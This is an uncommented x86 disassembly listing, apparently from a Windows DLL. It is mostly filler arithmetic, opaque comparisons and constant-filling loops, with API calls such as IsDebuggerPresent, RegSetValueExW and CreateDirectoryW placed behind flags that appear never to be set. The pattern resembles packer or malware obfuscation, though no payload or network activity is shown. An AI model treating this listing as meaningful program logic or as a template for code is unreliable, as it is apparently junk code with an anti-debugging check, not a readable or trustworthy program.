cmp dword [ebp - 0x18], 3
jl 0x10032681
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, 1
setl cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x14
jg 0x1003270e
xor edi, edi
inc edi
mov dword [ebp - 0x4c], 0xf13b01d9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x10
jg 0x100326ff
push 7
pop eax
mov dword [ebp - 0x80c], eax
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x804], eax
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x808]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0x50], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x10
jle 0x100326c4
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
jle 0x100326b4
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x18], eax
jmp 0x1003272d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10c8], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003271c
mov eax, dword [ebp - 0x24]
xor edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
jmp 0x10032798
mov dword [ebp - 0x4c], 0xf13b01d9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x10
jg 0x10032795
push 7
pop eax
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], eax
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x820]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x820]
mov dword [ebp - 0x50], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x10
jle 0x1003275a
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x14
jle 0x1003274a
mov ebx, dword [sym.imp.USER32.dll_PostMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [ebp - 0x18], 0xfd3df75d
mov dword [ebp - 0x18], 0xffffffe8
cmp dword [ebp - 0x18], 0xffffffea
jg 0x10032811
mov edi, 0xffff
mov dword [ebp - 0x4c], edi
cmp dword [ebp - 0x4c], eax
mov byte [ebp - 0x35], al
je 0x100327dd
cmp byte [ebp - 0x35], 0
je 0x100327f5
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
jmp 0x100327f3
cmp byte [ebp - 0x35], 0
je 0x100327f5
push eax
push eax
push 0x16a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10032802
call esi
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffea
jle 0x100327c3
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x18], 0xfd3df75d
mov dword [ebp - 0x18], 0xffffffe8
cmp dword [ebp - 0x18], 0xffffffea
jg 0x10032878
mov edi, 0xffff
mov dword [ebp - 0x4c], edi
cmp dword [ebp - 0x4c], eax
mov byte [ebp - 0x35], al
je 0x10032844
cmp byte [ebp - 0x35], 0
je 0x1003285c
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
jmp 0x1003285a
cmp byte [ebp - 0x35], 0
je 0x1003285c
push eax
push eax
push 0x16a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10032869
call esi
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffea
jle 0x1003282a
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x18], 0xfd3df75d
mov dword [ebp - 0x18], 0xffffffe8
cmp dword [ebp - 0x18], 0xffffffea
jg 0x100328df
mov edi, 0xffff
mov dword [ebp - 0x4c], edi
cmp dword [ebp - 0x4c], eax
mov byte [ebp - 0x35], al
je 0x100328ab
cmp byte [ebp - 0x35], 0
je 0x100328c3
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
jmp 0x100328c1
cmp byte [ebp - 0x35], 0
je 0x100328c3
push eax
push eax
push 0x16a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100328d0
call esi
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffea
jle 0x10032891
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x1c], eax
xor edx, edx
mov dword [ebp - 0x2c], 5
mov esi, 0xc657e3b6
mov dword [ebp - 0x18], esi
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x34], eax
or eax, 0xffffffff
mov dword [ebp - 0x34], 0x3523e24b
mov dword [ebp - 0x4c], 0x657a
mov dword [ebp - 0x14], 0x38e0ea62
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x1c], 0xaa9ac70c
jae 0x10032977
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x6a92
setle cl
cmp ecx, dword [ebp - 0x1c]
je 0x10032939
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10032939
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x18], edx
mov ecx, eax
xor edx, edx
inc edx
cmp dword [ebp - 0x18], eax
je 0x10032979
mov ecx, edx
mov eax, dword [ebp - 0x1c]
imul eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jge 0x10032996
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10032998
mov ecx, edx
mov eax, dword [ebp - 0x4c]
xor edx, edx
add ecx, 3
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x1c]
cmp dword [ebp - 0x2c], edx
jne 0x100329b1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x100329d4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x47a0585c
setge cl
or eax, 0xffffffff
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
mov edx, 0xffff
setge cl
xor eax, eax
cmp ecx, edx
setne al
xor edx, edx
mov dword [ebp - 0x2c], eax
inc edx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x34], eax
or eax, 0xffffffff
mov dword [ebp - 0x34], 0x3523e24b
mov dword [ebp - 0x4c], 0x657a
mov dword [ebp - 0x14], 0x38e0ea62
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x1c], 0xaa9ac70c
jae 0x10032a99
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x6a92
setle cl
cmp ecx, dword [ebp - 0x1c]
je 0x10032a5b
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10032a5b
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x18], edx
mov ecx, eax
xor edx, edx
inc edx
cmp dword [ebp - 0x18], eax
je 0x10032a9b
mov ecx, edx
mov eax, dword [ebp - 0x1c]
imul eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jge 0x10032ab8
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10032aba
mov ecx, edx
mov eax, dword [ebp - 0x4c]
xor edx, edx
add ecx, 3
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x1c]
cmp dword [ebp - 0x2c], edx
jne 0x10032ad3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x10032af6
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x47a0585c
setge cl
or eax, 0xffffffff
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
mov edx, 0xffff
setge cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x20], 0xb871c7bf
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xfcd553b7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10032b7d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x174], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10032b64
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10032c3c
xor edi, edi
inc edi
mov dword [ebp - 0x18], edi
xor ecx, ecx
mov dword [ebp - 0x24], 0xa4ccfd6
mov edx, 0xfffa
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x174]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x174]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x174]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], 3
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x170]
mov eax, dword [ebp - 0x20]
setle dl
mov dword [ebp + eax*4 - 0x174], ecx
mov eax, dword [ebp - 0x20]
add eax, edx
add eax, ecx
imul eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10032b8d
mov edi, dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
cmp dword [ebp - 0x16c], eax
je 0x10032c6a
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setl dl
imul eax, edx, 0x16e1
test eax, eax
je 0x10032c68
xor edx, edx
inc edx
mov ecx, edx
jmp 0x10032c6f
xor eax, eax
xor edx, edx
mov ecx, eax
inc edx
mov eax, dword [ebp - 0x20]
sub eax, ecx
xor ecx, ecx
cmp eax, 0xf7fa
setl cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x170]
sub ecx, eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x7342
mov eax, dword [ebp - 0x2c]
setl cl
sub eax, ecx
cmp eax, 0x7fcf6239
jne 0x10032ccd
mov dword [ebp - 0x4c], 0x3ad33dc2
mov dword [ebp - 0x50], 0xfffffff8
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
jmp 0x10032db5
mov dword [ebp - 0x40], 0x59a1248f
mov dword [ebp - 0x40], 0x7f4763cd
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x58], 0xb48eda29
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10032d0c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x474], 0x7b094c6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10032cf3
xor eax, eax
cmp dword [ebp - 0x470], eax
je 0x10032db2
mov eax, dword [ebp - 0x5cc]
dec dword [ebp - 0x5cc]
test eax, eax
je 0x10032db0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x174]
neg eax
sbb eax, eax
neg eax
imul ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x10032d5c
cmp dword [ebp - 0x470], eax
je 0x10032d5e
mov eax, edx
mov dword [ebp - 0x40], eax
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x474]
cmp eax, ecx
setle dl
mov dword [ebp - 0x474], edx
mov eax, dword [ebp - 0x58]
lea ecx, [edx - 9]
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, dword [ebp - 0x58]
jle 0x10032d95
cmp dword [ebp - 0x28], eax
je 0x10032d95
lea edx, [eax + 1]
jmp 0x10032d97
mov edx, eax
mov eax, dword [ebp - 0x5d8]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setge cl
add eax, ecx
je 0x10032db0
xor eax, eax
inc eax
jmp 0x10032db2
xor eax, eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x18], esi
xor esi, esi
inc esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x34], eax
or eax, 0xffffffff
mov dword [ebp - 0x34], 0x3523e24b
mov dword [ebp - 0x4c], 0x657a
mov dword [ebp - 0x14], 0x38e0ea62
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x1c], 0xaa9ac70c
jae 0x10032e49
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x6a92
setle cl
cmp ecx, dword [ebp - 0x1c]
je 0x10032e0c
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x1c], eax
je 0x10032e0e
mov edx, esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
xor eax, eax
mov dword [ebp - 0x18], edx
mov ecx, eax
cmp dword [ebp - 0x18], eax
je 0x10032e4b
mov ecx, esi
mov eax, dword [ebp - 0x1c]
imul eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x10032e68
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x10032e6a
mov ecx, esi
mov eax, dword [ebp - 0x4c]
xor edx, edx
add ecx, 3
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x1c]
cmp dword [ebp - 0x2c], edx
jne 0x10032e83
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x10032ea6
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x47a0585c
push 0xfffffffffffffffd
setge cl
or eax, 0xffffffff
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
mov edx, 0xffff
setge cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x34], esi
pop eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff3
jg 0x10032ff8
xor eax, eax
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10032f19
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x32c], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10032f01
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10032f3c
push 0x26cc
push eax
push 0x1079
push 0xb8d
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10032fe1
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xffffffe5
jmp 0x10032fd4
cmp dword [ebp - 0x18], eax
je 0x10032fb4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10032f7a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3b0], 8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10032f61
xor eax, eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], eax
jg 0x10032fbe
mov eax, dword [ebp - 0x3b0]
mov dword [ebp + eax*4 - 0x32c], esi
mov eax, dword [ebp - 0x3b0]
mov eax, dword [ebp + eax*4 - 0x32c]
inc dword [ebp - 0x3b0]
xor eax, eax
cmp dword [ebp - 0x3b0], eax
jle 0x10032f88
jmp 0x10032fbe
mov dword [ebp - 0x40], 0xfffffffc
dec dword [ebp - 0x40]
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10032fd1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe6
jg 0x10032f53
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffa
jle 0x10032f44
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
jle 0x10032ef2
or eax, 0xffffffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x18], 0x3f0244c3
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10033033
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xeb4], 0x825e7a66
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003301a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10033055
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbc4], 0x59141a9c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003303c
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10033074
push eax
push eax
push 0x2067
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jg 0x10033118
jmp 0x10033085
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x100330a7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd34], 0xfc0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003308e
xor eax, eax
cmp dword [ebp - 0xd30], eax
je 0x100330b5
mov eax, dword [ebp - 0xbc4]
mov eax, dword [ebp - 0xeac]
xor ecx, ecx
cmp eax, 0x9161
mov eax, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xd28]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10033105
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10033102
push 0x168c
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100330ec
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jle 0x10033083
mov dword [ebp - 0x30], 0xfd3df75d
mov ecx, 0xffff
mov dword [ebp - 0x2c], 0xb716
mov dword [ebp - 0x24], 0xc79cf181
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x30], 0x60915bb0
mov dword [ebp - 0x18], 0x22b60780
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c], 0x2de4
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 9
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp eax, esi
setge cl
xor eax, eax
cmp ecx, edx
setl al
cmp esi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setge cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
neg eax
cmp edx, eax
jge 0x100331b0
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x100331b2
mov eax, esi
add eax, 0xdcfd8f27
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
push 0xfffffffffffffff7
pop ecx
add eax, 0xe5a9
je 0x100332d7
mov dword [ebp - 0x40], esi
xor eax, eax
mov dword [ebp - 0x28], 0x6fcd4d33
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], esi
jge 0x100331f9
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x558], esi
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], esi
jl 0x100331e5
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffb
cmp dword [ebp - 0x28], eax
je 0x10033208
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, 0xffff
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x30]
test eax, eax
push 0xfffffffffffffff7
setle cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, 0xffff
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setne cl
or edx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x2c]
pop ecx
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jle 0x100332fc
mov dword [ebp - 0x2c], 0x76dfa536
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x18], eax
jmp 0x10033286
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x580], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10033279
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x43aff46a
setl cl
cmp ecx, dword [ebp - 0x1c]
jl 0x100332ac
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x100332ae
mov ecx, esi
mov eax, dword [ebp - 0x2c]
sub eax, ecx
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x30]
pop ecx
push 0
pop eax
cmp dword [ebp - 0x30], ecx
jg 0x1003326a
jmp 0x100332fc
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x100332f7
push 0x17f1
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xfffffffffffffff7
pop ecx
xor eax, eax
or edx, 0xffffffff
mov esi, dword [sym.imp.USER32.dll_GetMenuStringW]
mov dword [ebp - 0x30], 0xffffffe8
cmp dword [ebp - 0x30], 0xffffffea
jg 0x100340fe
mov edi, 0xbe4438b
jmp 0x10033322
mov dword [ebp - 0x24], 6
mov dword [ebp - 0xad0], edx
mov dword [ebp - 0xacc], edx
mov dword [ebp - 0xac8], edx
mov dword [ebp - 0xac4], edx
mov dword [ebp - 0x24], 0xfffffff9
jmp 0x10033372
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1003336f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xad0], 0x2a1e9487
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10033356
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x1003334a
mov ecx, 0xffff
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100333a5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100333c3
push 0x248d
push 0x13b7
push eax
push 0x2238
push eax
call esi
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10033808
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100333f4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf78], 0x1713
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100333db
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x1003346c
mov dword [ebp - 0x4c], 0x8e1b61ba
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10033425
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7ac], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1003340c
xor eax, eax
mov dword [ebp - 0x7ac], ecx
cmp dword [ebp - 0x7ac], eax
jl 0x10033467
mov dword [ebp - 0x4c], 2
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003345c
push 0x1c82
push 0x78a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
xor eax, eax
dec dword [ebp - 0x7ac]
jns 0x10033433
xor ecx, ecx
inc ecx
dec dword [ebp - 0x28]
jns 0x100333fc
